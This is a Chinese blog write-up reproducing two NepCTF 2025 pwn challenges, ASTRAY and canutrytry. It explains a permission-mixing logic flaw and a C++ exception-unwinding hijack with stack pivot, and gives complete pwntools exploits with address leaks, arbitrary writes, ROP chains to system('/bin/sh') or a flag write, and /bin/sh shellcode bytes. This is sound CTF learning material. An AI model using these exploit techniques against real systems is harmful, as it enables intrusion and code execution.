nepctf2025复现-ASTARY&canutrytry

(结构体还原&逻辑漏洞)ASTRAY

纯考察代码审计能力的一个题,要准确的摸清楚并还原出结构体,然后读懂代码功能才能看出漏洞所在

因为这个结构体从刚拿到题的状态开始还原确实相当麻烦,所以这里就尽量分析,但可能也很难写清楚

image-20251203162833984

ida打开题目后,首先调用了一个 init 函数得到了一个 v4,然后在后续分支中,Manager的分支使用了这个 v4
然后就是询问要以什么身份访问日志信息,分为 manager 和 user

user_operation函数

manager 分支相对复杂,所以先从 user 分支看起,尝试大致搞清楚这个程序整体是什么意图
来到 user_operation 函数image-20251203163119468

首先询问了要进行的操作,有 USER_read 和 USER_write,然后会询问要操作的信息块的 索引,之后会进行check

先进 check 函数

check 函数

可以看到 index 可以是 0 ~ 19,操作可以是 图中的五个,在这里也可以看出程序的功能大致就是 manager&user 两个身份的 读&写 功能,但是还多出一个 MANAGER_visit 功能,这个功能也是这个题的关键点

初步检查后首先是取了 manage_physic 这个数组的一个指针,这里可以判断出这个数组的单个元素肯定是 两个八字节大小,可以暂时将v5改为 unknowUnit ,方便后面识别

然后又是一个分支,先看 user 的分支image-20251203164025214

user 分支里只有对 USER_write 操作的检查,检查了 unkonwUnit 的 第2个8字节 二进制上有没有0001,由此可以看出 unknowUnit 应该也有某种结构,且 第2个8字节 应该是某种标识,只有拥有 0001 位时才可以进行 USER_write

然后来到 manager 分支

这边则是检查了两个操作——MANAGER_write 和 MANAGER_visit

且MANAGER_write的检查中和 USER_write 类似的,检查了有没有 0010,所以猜测这个 unknowUnit[1] 应该是权限标识,0001 代表user权限,0010代表manager权限

后面的 visit 的检查则是看 qword_41A8 这个全局变量是否为空,这个全局变量看到这里时是一点都看不懂它是什么,但我们可以知道 如果 qword_41A8为空时,MANAGER_visit 就无法合法进行

从 check 函数出来后继续看,现在我们知道了: manage_physic 似乎是一个由若干个(由索引检查猜测是20个) 2*8 大小的小结构体组成的数组,且这个小结构体的第二个8字节应该是一个权限标识

检查后首先是一个赋值工作,而且目标还就是刚才看到的 qword_41A8,且后面的多个操作都是它,所以它很重要,但这里还是着重分析赋值来源的这俩

manage_physic 刚才分析过了是一个数组,但这里忽然多出了一个 dword_4068,而且这种索引方式看起来也像是数组或者结构体(另外这里要看清楚,ida自动的把它识别成了 DWORD,但其实按8字节看的话也是 qword_4068[2*v1],和 manage_physic 非常像)

看看地址会发现image-20251203165833410其实4068就在manage_physic的后面

所以可以猜测,这里是ida错误识别,将这个数组分成了两个变量,我们不妨把它搓一起试试

IDA操作

添加一个小结构体:image-20251203170247087

然后先到 bss段上 manage_physic 的位置把它转换成 40个的数组

image-20251203170753884

这下就清晰多了image-20251203170815263

然后把 manage_physic 转换一下,给它起名叫 mlist

QQ_1764753135243

这下更清晰了

现在再来看这个 qword_41A8的话,就会发现它很像是在对 mlist 的元素进行某些拷贝,且后面的实际操作也都是拿它进行

image-20251203171352566

image-20251203171352566

所以我们猜测它是功能具体实现时使用的 临时缓冲区,因为这个分析来源于 user_operation,我们先叫它 usrTmp,然后再给它定义一个结构体

image-20251203171601107因为后面这里还有对它第三个8字节的使用,所以我们暂时给它写三个字段,前两个字段和 刚才的unknowUnit 一样,第三个也随便给一个名字

image-20251203171750968

image-20251203171945026

permission_confirm函数

接着看代码,后面是一个 permission_confirm 函数,跟进去看看,注意传参,第一个是 usrTmp,第二个是代表要进行的操作的字符串

进来发现是一个 根据要进行操作 给usrTmp的unknown2字段设置内容的逻辑

结合后面 根据这个字段选择实际操作的分支 的逻辑,我们断定它应该就是 代表操作 的标识码,所以给这个字段改名 actCode

image-20251203172217078

同时,根据这里的 read 和 write 也能看出,unknown1应该是这个日志系统的实际的数据缓冲区,所以顺便把它改成 contPtr

以及第二个8字节,前面暂时起名为 flags1 的字段,其实到这里也能大概确定 它就是权限标识,用来区分 user 和 manager 的,所以可以改成 gid

image-20251203172657366

现在再看整个 user_operation 函数,就会发现逻辑已经十分清晰了

image-20251203172913096

整体逻辑就是 检查要进行的操作和选择的索引是否有足够的权限进行操作 --> 将实际操作的相关信息(缓冲区指针、操作码、权限信息)转移到 usrTmp 中 --> 根据 usrTmp的情况进行实际操作

init函数

现在我们已经对一部分结构体有了初步的认识,所以可以先回init函数看看

image-20251203173238216

根据已经逆向出的结构体,不难看出 前半部分应该是 对 mlist 的一些初始化操作:先申请了一个内存块作为总的缓冲区,然后再将内部的地址分配给 mlist 进行管理

其中有一个惹眼的点是对 mlist[0] 的处理,它得到了第一个堆指针,然后给其 gid 字段设置了一个 0x10 (0b10000),也就是说正常操作时 manager 和 user 都没有权限对其进行读写,所以也要多关注它内部有什么

然后就是对 1~19 块进行了一些初始化,1~9块给予 0010 权限,即只有 manager 可操作,10~19块给予 0011 权限,即manager和user都可以操作

后半部分就比较复杂了,多出了一个没还原出结构体的 contPtr(23行那里,ida给起的变量名),然后还多了一个 onlyuser(做完后发现这个东西基本就是纯误导)

先看 usrTmp (我自己复现这个题时也是边看这里边看user_oper...函数还原出来的),这里是对 usrTmp 进行了一些初始化操作,先给它申请了一块缓冲区,果然是 0x18 大小,然后将三个字段都清空

然后就是这个 contPtr,首先可以看到,这里是把 mlist[0] 的 contPtr赋值给它,然后实际上是对 mlist[0]进行了一些操作,ida识别是一会对mlist[0]操作,一会对 contPtr操作

操作如下:[0]为1,[1]为一个 0x18 的缓冲区,[2]为 onlyuser 的地址,然后时 [1]的内容中,三个8字节也都清空

这里不难看出, *contPtr也就是这里申请的 0x18 的块和它本身应该都是结构体,我们也给它们写一个临时的结构体

image-20251203175830116

image-20251203175453694注意这里要给双重指针

image-20251203175906281

manager_operation 函数

进来后我们先把a1之类的已经得出结构体的变量转换一下

前面检查的部分在user函数已经分析过了,这里从25行开始

刚上来的三行,我们就会看到熟悉的东西image-20251203180232332

发现和刚才 user 函数里对 usrTmp 的操作非常相似,稍微往后看一下

发现也和 user 函数那边一样,读写操作都是对 a1 -> unkownTmp 操作的,所以我们可以确定,这个 a1->unknowTmp 应该是 manager版 的usrTmp,所以先去改一下字段名,这个 unknowTmp 结构体也没必要用了,直接用之前 usrTmp 的定义就可以了

image-20251203180600920image-20251203180622112

这下 manager_operation 也很清晰了,继续看28行往后
在 a1->managerTmp 上设置操作码后就进行了一些列判断分支,首先不难看到,MANAGER_visit 确实很特殊,它这里又套了一层分支

image-20251203180756489

又询问了一次操作选项,然后进一步的对 managerTmp->actCode 进行设置
(这个提示我也是根本没看懂,感觉大概意思就是 "以manager身份对user的日志进行操作"?)
这里发现还有一个checkvisit,内容很少,这里直接给出结论然后略过:检查当前 usrTmp->actCode 的值,不能是 4 (也就是在这之前不能进行过 MANAGER_read/USER_read)
然后就到了真正的实际操作分支(也是整个题最关键的一段)

image-20251203181301117

这里其实 4 和 2对应的 MANAGER_read 和 MANAGER_write 都还算好理解,和 user 模式类似的取 tmp 块上的 contPtr 指针进行读写
但奇怪的是 两个 visit 的分支

image-20251203181622923

image-20251203181622923

它是对 a1 -> onlyusrAddr 进行读写,结合前面 init()函数 的操作可以知道,这里实际上就是 *(&onlyusrAddr+8),那我们来看看这是谁

image-20251203181756518是 usrTmp (解引用到contPtr指针)

所以总结的说,这个visit操作实际上就是在使用 managerTmp 进行各种前期工作的情况下,对 usrTmp 的contPtr进行读写

关于 user 和 manager 两个模式的操作混用

这个题的根本漏洞其实是两个用户模式的操作可以混用,在 user_operation 函数中可以使用 MANAGER_xxx 系列,在manager_operation 也可以用 USER_xxx 系列

这里分析下混用出现的一些情况,为后面攻击方法的分析做铺垫

首先是 read 操作,实际上 USER_read 和 MANAGER_read 这两者是混用的,user_operation(MANAGER_read) 和 manager_operation(USER_read) 这两个组合的功能几乎一样
因为真正决定实际操作的 actCode 字段,对于这两个操作的设置是一样的

image-20251203182442534image-20251203182451723

然后是 write 操作
这个操作就受到了严格的权限控制
manager_operation函数中没有 actCode == 1 的分支,user_operation反之亦然,且在check里也有检查

然后就是最关键的 visit 操作
此时再读一遍user_operation就会发现,user这边也是完全可以使用 MANAGER_visit 的,而且还会产生某些奇妙的影响
image-20251203183011881尤其是这里
user_operation(MANAGER_visit)实际上就是只执行了这三句

但致命的是此时这里 i 可以为0,也就是可以把 manager的那个a1指针或者说 mlist[0] 放到 usrTmp->contPtr 上

先贴下封装后的交互用的函数

MANAGER = 1
USER = 1000

READ0 = "MANAGER_read"
WRITE0 = "MANAGER_write"
VISIT0 = "MANAGER_visit"
READ = "USER_read"
WRITE = "USER_write"

def manager(opt, logId, perm=MANAGER):
sla("user)\n", str(perm))
sa("sit)\n", opt)
sla("sit\n", str(logId))
def user(opt, logId, perm=USER):
sla("user)\n", str(perm))
sa("ite)\n", opt)
sla("sit\n", str(logId))
泄露 manager_operation 的 a1 的内容

这个题要泄露很简单,因为可以直接 MANAGER/USER_read 去读取 mlist[0] 里的 堆地址、bss段地址

user和manager 都一样,它们对于read操作都没有任何检查

user(READ, 0)
rv(8)
heap_base = uu64(rv(8)) - 0x22d0
elf_base = uu64(rv(8)) - 0x41a0
lg("heap_base")
lg("elf_base")
篡改 manager_operation 的 a1

对于攻击方法来说,最关键的问题是这里

这里的写入地址前面也提到过,在 a1 没被修改时,实际上就是 usrTmp,也就是说在利用 user(USER_read, 0) 等能选中 mlist[0] 的操作把 a1 指针挂到 usrTmp->contPtr 后,再用 manager(MANAGER_visit, 0) 就能修改 a1 的内容了

比如前面用 USER_read 后,实际上 usrTmp->contPtr 就已经是 a1 了,但这时还有一个问题:此时 usrTmp->actCode 是4,程序对这种情况做了防御
checkvisit中image-20251203211846572

所以需要找一个这样的机会——能改变 usrTmp->actCode,但能保持 usrTmp->contPtr 依然是 mlist[0]
这个机会就是在 user_operation 中用 "MANAGER_visit"

前面也提到过,这个组合实际上就是只执行了三句代码

如果index指定为0,第一句会把 mlist[0].contPtr 赋值上去,第二句将gid字段赋值为0x10,第三句将 actCode 改为8,这样就可以顺利的走 manager(MANAGER_visit, 0) 去修改 a1 的内容了

user(VISIT0, 0)

将 a1 (mlist[0]->contPtr) 指针放到 usrTmp -> contPtr 上

调用 permission_confirm

执行后的 usrTmp

image-20251203213227386

由于 actCode 没有匹配 4 或 1,直接返回

image-20251203213301010

然后就可以修改 a1 了

manager(VISIT0, 0)
sla("_logs\n", "2")
sd("iii")

顺利绕过

对 a1写入

image-20251203213833355

利用对 a1 的控制进行 getshell

能够控制 a1 的内容之后就要考虑怎么用了,首先不难想到可以利用这次机会进行任意地址写

前面也提到了,MANAGER_visit 的写入分支用的指针是取的 *(a1 -> onlyuserAddr) + 8 这个地址后,再解引用一层才写入的

也就是说如果修改了 a1 -> onlyuserAddr ,这个地方的写入地址就完全由我们控制了,因为没有其他逻辑会改变 a1 -> onlyuserAddr

比如如果想把写入地址定到 qword_4060

manager(VISIT0, 0)
sla("_logs\n", "2")
sd(p64(1)+p64(heap_base+0x22d0)+p64(heap_base+0x2b0)+p64(heap_base+0x2c0)+p64(elf_base+0x4060))

manager(VISIT0, 0)
sla("_logs\n", "2")
# sd(fakeList)
sd(p64(0xdeadbeef)*4)

这里的指针关系

QQ_1764771104502

顺利写入 mlist 数组

image-20251203221218613download

最后就是任意地址写后如何getshell了
我推荐是先改造一下这个 mlist 数组(也就是一开始的manage_physic),可以将 contPtr字段 改成方便进行 任意地址读写 的指针,然后把 gid 字段全改成3,这样后续只需要用 USER_write/read 就可以完成任何操作了

fakeList = b""
fakeHeapaddr = heap_base + 0x2a0
for i in range(10):
if i == 1:
fakeList += p64(elf_base+0x4090)+p64(3)#指到list[3]
elif i == 2:
fakeList += p64(elf_base+0x4020)+p64(3)
else:
fakeList += p64(fakeHeapaddr) + p64(3)
fakeHeapaddr+=0x100

image-20251203221655739

这里我是把 mlist[1] 改成了 mlist[3]的地址,这样后续还需要 任意地址读写 时只需要对[1]进行 USER_wirte 就可以改变要任意地址读写的目标地址了;然后把 mlist[2] 改成了 IO_stdout ,用来泄露libc地址,然后进一步的泄露 environ 里的栈地址

然后泄露libc

user(READ, 2)
libc_base = uu64(rv(8)) - 0x21b780
lg("libc_base")

image-20251203222641621

然后重复操作,把 environ 地址放到 mlist[3]里,再 输出mlist[3]

user(WRITE, 1)
sd(p64(libc_base+0x222200))
user(READ, 3)
ret_addr = uu64(rv(8)) - 0x150

image-20251203222919259

然后也是重复操作,把rop链写到 user_operation函数 的返回地址上就可以了

完整EXP:

'''
pwn_attack_ink
'''

import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './astray'
libc = './libc.so.6'
# host, port = ":".split(":")

print(('\033[31;40mremote\033[0m: (r)\n'
'\033[32;40mprocess\033[0m: (p)'))

bpt = [
"*$rebase(0x1b67)",#main-manage
"*$rebase(0x1b84)",#main-manage
"*$rebase(0x175d)",#manage-check
"*$rebase(0x1a10)",#usr-check
"*$rebase(0x177f)",#manage-25
"*$rebase(0x14c9)",#check-15
"*$rebase(0x14f8)",#check-18
"*$rebase(0x1520)",#check-21
"*$rebase(0x1a32)",#user-19
"*$rebase(0x1af8)",#user-ret
]

if sys.argv[1] == 'r':
r = remote(host, int(port))
elif sys.argv[1] == 'p':
r = process(binary)
elif sys.argv[1] == 'pg':
r = process(binary)
gdb.attach(r, gdbscript=f"""
b {bpt[4]}
""" )

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
sd = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rv = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
uuntil = lambda data, count=-6 : uu64(ru(data)[count:])
# padding = lambda length : b'ink' * (length // 3) + b'I' * (length % 3)
padding = lambda length, filler=0 : b'ink' * (length // 3) + b'I' * (length % 3) if filler == 0 else filler * length
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
short_sc= lambda bits=64 : b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' if bits==64 else b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

MANAGER = 1
USER = 1000

READ0 = "MANAGER_read"
WRITE0 = "MANAGER_write"
VISIT0 = "MANAGER_visit"
READ = "USER_read"
WRITE = "USER_write"

def manager(opt, logId, perm=MANAGER):
sla("user)\n", str(perm))
sa("sit)\n", opt)
sla("sit\n", str(logId))
def user(opt, logId, perm=USER):
sla("user)\n", str(perm))
sa("ite)\n", opt)
sla("sit\n", str(logId))

user(READ, 0)
rv(8)
heap_base = uu64(rv(8)) - 0x22d0
elf_base = uu64(rv(8)) - 0x41a0
lg("heap_base")
lg("elf_base")

user(VISIT0, 0)

manager(VISIT0, 0)
sla("_logs\n", "2")
sd(p64(1)+p64(heap_base+0x22d0)+p64(heap_base+0x2b0)+p64(heap_base+0x2c0)+p64(elf_base+0x4060))
# sd("iii")

fakeList = b""
fakeHeapaddr = heap_base + 0x2a0
for i in range(10):
if i == 1:
fakeList += p64(elf_base+0x4090)+p64(3)#指到list[3]
elif i == 2:
fakeList += p64(elf_base+0x4020)+p64(3)
else:
fakeList += p64(fakeHeapaddr) + p64(3)
fakeHeapaddr+=0x100

manager(VISIT0, 0)
sla("_logs\n", "2")
sd(fakeList)

user(READ, 2)
libc_base = uu64(rv(8)) - 0x21b780
lg("libc_base")

user(WRITE, 1)
sd(p64(libc_base+0x222200))
user(READ, 3)
ret_addr = uu64(rv(8)) - 0x150
user(WRITE, 1)
sd(p64(ret_addr))
user(WRITE, 3)
poPrdi = libc_base + 0x000000000002a3e5
poPrsi = libc_base + 0x000000000002be51
poPradbx = libc_base + 0x00000000000904a8
payload = p64(poPrdi)+p64(libc_base+next(libc.search(b'/bin/sh')))
payload += p64(poPrsi)+p64(0)
payload += p64(poPradbx)+p64(0)*3
payload += p64(libc_base+0x0000000000029139) + p64(libc_base+libc.sym['system'])
sd(payload)

it()

(cpp异常处理利用)canutrytry

考察了一个没见过的知识点——c++异常处理

本来尝试直接去吃透cpp的异常处理的机制再来复现这道题,发现确实很难,所以还是先以pwn的角度简单理解下,然后直接复现这个题目了

参考文章:

[原创]NepCTF 2025 Pwn赛题canutrytry解析:利用cpp异常处理与栈迁移实现输出攻破-Pwn-看雪论坛-安全社区|非营利性质技术交流社区

(99+ 封私信) 分享C++ PWN 出题经历——深入研究异常处理机制 - 知乎

cpp异常处理简单理解

在做这个题之前,我一直以为高级语言的异常处理机制都是依靠编译器来完成的,但在做这个题的过程中发现其实还是通过在elf文件中添加复杂的跳转机制来完成的

首先是要知道,throw和catch是怎么配合到一起的

在编译后的elf中,throw关键字的位置实际上就是调用了 __cxa_throw 函数,比如这个题的leave

image-20251207163312718

实际上就相当于

if (sizes[i] > 0x10) {
throw "stack overflow";
}

然后是 try ... catch 块,实际上是一段特殊的函数代码,如:

image-20251207163551698

image-20251207164018650

ida中会为try和catch的块添加标识,catch块比较重要,它实际上就是一段这个函数内部正常情况无法执行到的一部分代码,它只会由throw函数中的 _Unwind_RaiseException 跳转触发

然后就是throw调用后回溯寻找对应catch块的机制了
这点由于暂时没有阅读源代码,所以得出的结论不一定是正确的,暂时就只把猜测的结论贴在这

应该是在 Unwind_RaiseException 函数的操作中,会顺着当前(触发异常的)函数的返回地址进行回溯,寻找路径的函数中是否存在catch块,有(即存在对应catch捕获)则会尝试跳转,没有(即不存在对应catch)则是返回到 __cxa_throw 中通过 terminate 函数处理异常,并中断程序

image-20251207204514450

但这个回溯过程是以栈为参考的,如果栈上的返回地址、rbp等关键内容被篡改,异常处理函数的定位就会出现偏差,甚至被劫持

题目分析

这个题的代码本身还是很简单的

main函数中是两个选项的菜单

image-20251207211759686

但实际上是因为ida无法识别异常处理而受到了折叠,实际上还存在两段 catch 代码块

对应putmenu处的try

image-20251207211906038

对应 visit 和 leave 处的try

image-20251207211919163

手动用伪代码简单还原一下main函数大概是这样的:

init();
while ( 1 ) {
  try {
    putMenu();
    std::istream::operator>>(&std::cin, &opt);
    switch opt {
    case 1:
      visit();
    case 2:
      leave();
    }
  }
  catch(err1){//对应putMenu中的错误
    sub_4016EC();
    sub_401652();
    return;//存在canary检查
  }
  catch(err2){//对应visit/leave中的错误
    std::cout << "you catch the error " << err2 << std::endl;
    std::cout << "here is a gift for you!" << std::endl;
    printf("setbufaddr:%p\n", setbuf_ptr);
    printf("stackaddr:%p\n", &op);
    break;
  }
}

然后先看看 catch1 的两个函数

第一个是在 0x405460上给了一次写入0x300字节的机会

image-20251207213634050

第二个则是读入了一段0x28的字符串,并将其中 \n 结束符替换为 \0

image-20251207213745934

紧接着是一个带有栈溢出处理的输入机会

然后就来到了正常流程中的两个选项函数

visit() 中是三个选项的菜单,整体上是在管理一个2个空位的指针列表,指针和size分别管理——1.设置某个index的size;2.从index=0开始申请一个chunk;3.设置某个index的堆块的内容
其中选项1中存在throw异常处理

image-20251207223933152

除此之外这部分内容就没什么好说的了,看起来的话可能没太有办法用堆的打法

leave() 中是一个内容的复制,会将指定堆块的内容复制到栈上的缓冲区(复制长度是size数组中的)

image-20251207224659650

而且也存在有栈溢出的检查,以及throw

image-20251207224738389

但这里的size由于前面 visit() 中设置size时是没有任何限制的,所以这个地方的栈溢出相当于是无限长度,可以直接溢出到多层上层函数的栈帧,这也就为利用异常处理提供了条件

泄露栈地址、libc地址

泄露很简单,可以故意触发 visit() 的异常处理,使用出题人留下的后门

downloadimage-20251207225740391

劫持异常处理

根据前面的分析,在 _Unwind_RaiseException 函数中会一层一层的沿着调用链的栈帧往上扒,直到找到存在对应catch块的返回地址,并跳转到这个catch块
而在这个leave中如果是让它按原来的路径,回溯到的会是泄露地址用的那个catch块,没有更多的作用,所以应该尝试让它回溯到别的catch块,也就很自然的想到了那个对应 putmenu() 的catch块

因为 _Unwind_RaiseException 中对catch块的寻找是某种遍历式的,所以篡改返回地址时不需要太精准,只要在 ida 中看到的 try块 内部即可,或者说更直观的方式就是直接写 putmenu()函数 的返回地址

image-20251208125301371

也就是这个位置,可以理解为我们要让异常处理将putmenu的调用位置才是此时的上层函数

直接在memcpy时进行栈溢出,覆盖leave函数的返回地址

image-20251208130615297

image-20251208130748142

修改为 putmenu 的返回地址

这样在 _Unwind_RaiseException 中寻找catch块的函数时,三次回溯后,rdx就会指向这个返回地址

image-20251208131232153

再经过一些处理就会跳转了

在这个位置时会将rax放进rbp偏移后的一个地址内,所以需要给rbp放一个合法地址,这里我直接放了一个 0x405460,影响不大

payload = cyclic(0x20)+p64(0x405460)+p64(putmenu_ret)

利用 putmenu 的 catch 尝试rop

因为后面的输入机会非常多,还有一个主要的写入0x300的布置rop链的机会,所以后面的流程我也是边试边打的,文章写得也是按这个思路写了

顺利进入 sub_4016ec 后:

image-20251208132059549

会在 0x405460 上写入最长0x300长度的内容,且没有任何throw,结合后面的多次输入和函数嵌套,不难想到很大可能是要打栈迁移的,所以这里应该是要写rop链的,但是先不急,先用cyclic瞎填点东西进去,方便定位rop链开始的位置

sa("rop now!\n", cyclic(0x100))

继续往后走

image-20251208132400894

会catch块里的进入第二个函数

image-20251208132444710

也是一次对bss段的写入,长度为0x28

然后是 close(1) 关闭了标准输出,然后再次调用函数

image-20251208132619723

也是输入,不过这次是对栈了,且可以溢出到rbp
但这个函数是存在 throw 的,输入超过8个字节时就会throw,对应的是这个catch块

image-20251208132833504

不难看出其实实质上就是执行了下面红框里的部分,算是为我们提供了触发栈迁移的机会

这样看下来,会发现其实第二次输入是没什么用的,关键在于用第一次输入布置rop链,第三次输入篡改rbp进行栈迁移

因为第一次输入的写入地址是 0x405460,我们的rop链从头开始写的话就是从 0x405460 开始,所以第三次输入的rbp就篡改为 0x405458 即可

sa("rop now!\n", cyclic(0x100))
sa("flag: ", cyc(0x28))
sd(cyclic(0x10)+p64(0x405458))

看看栈迁移的效果

image-20251208133545662

没问题

最后搓一条rop链即可,前面也看到过,标准输出被关闭了,但是可以用标准错误输出

题目的 init() 函数里也读入过flag,直接输出那里面的flag就可以了

image-20251208133709064

完整EXP

'''
pwn_attack_ink
'''

import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './canutrytry'
libc = './libc.so.6'
# host, port = ":".split(":")

print(('\033[31;40mremote\033[0m: (r)\n'
'\033[32;40mprocess\033[0m: (p)'))

bpt = [
"*0x401ed4",#menu
"*0x401952",#1menu
"*0x401aad",#visit-throw
"*0x401e23",#leave-memcpy
"*0x401e6a",#leave-throw
"*0x401733",#ropfunc-read
]

catchs = [
"*0x401F19",
"*0x401F7B",
"*0x4016C5"
]

if sys.argv[1] == 'r':
r = remote(host, int(port))
elif sys.argv[1] == 'p':
r = process(binary)
elif sys.argv[1] == 'pg':
r = process(binary)
gdb.attach(r, gdbscript=f"""
b {bpt[3]}
b {catchs[0]}
""")

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
sd = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rv = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
uuntil = lambda data, count=-6 : uu64(ru(data)[count:])
# padding = lambda length : b'ink' * (length // 3) + b'I' * (length % 3)
padding = lambda length, filler=0 : b'ink' * (length // 3) + b'I' * (length % 3) if filler == 0 else filler * length
cyc = lambda length : cyclic(length)
# cyclicpad = lambda length, filler=None: (bytes([i % 256 for i in range(length)])) if filler is None else filler * length
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
short_sc= lambda bits=64 : b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' if bits==64 else b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

def talloc():
sla(" >>", str(1))
sla(" >>", "1")
def setsize(size):
sla(" >>", str(1))
sla(" >>", "2")
sla("size:", str(size))
def setcont(index, content):
sla(" >>", str(1))
sla(" >>", "3")
sla("index:", str(index))
sa("content:", content)
def overflow(index):
sla(" >>", str(2))
sla("index: ", str(index))

# setsize(0x500)
# setsize(0x500)
# talloc()
# setcont(0, padding(0x20)+b'\x01')

# overflow(0)

putmenu_ret = 0x401ED9

setsize(0x30)
setsize(-1)
talloc()
talloc()
ru("bufaddr:0x")
libc_base = int(rv(12), 16) - 0x88060
ru("stackaddr:0x")
stack_base = int(rv(12), 16)
lg("libc_base")
lg("stack_base")

Prdi = libc_base+0x2a3e5
Prsi = libc_base+0x2be51
Prdxr12 = libc_base+0x11f497

payload = cyclic(0x20)+p64(0x405460)+p64(putmenu_ret)
setcont(0, payload)

overflow(0)

payload = p64(Prdi) + p64(2) + p64(Prsi) + p64(0x4053C0)+p64(Prdxr12)+p64(0x20)*2+p64(libc_base+libc.sym['write'])
sa("rop now!\n", payload)
sa("flag: ", cyc(0x28))
sd(cyclic(0x10)+p64(0x405458))

it()

 

posted @ 2025-12-08 13:55  ink777  阅读(3)  评论(0)    收藏  举报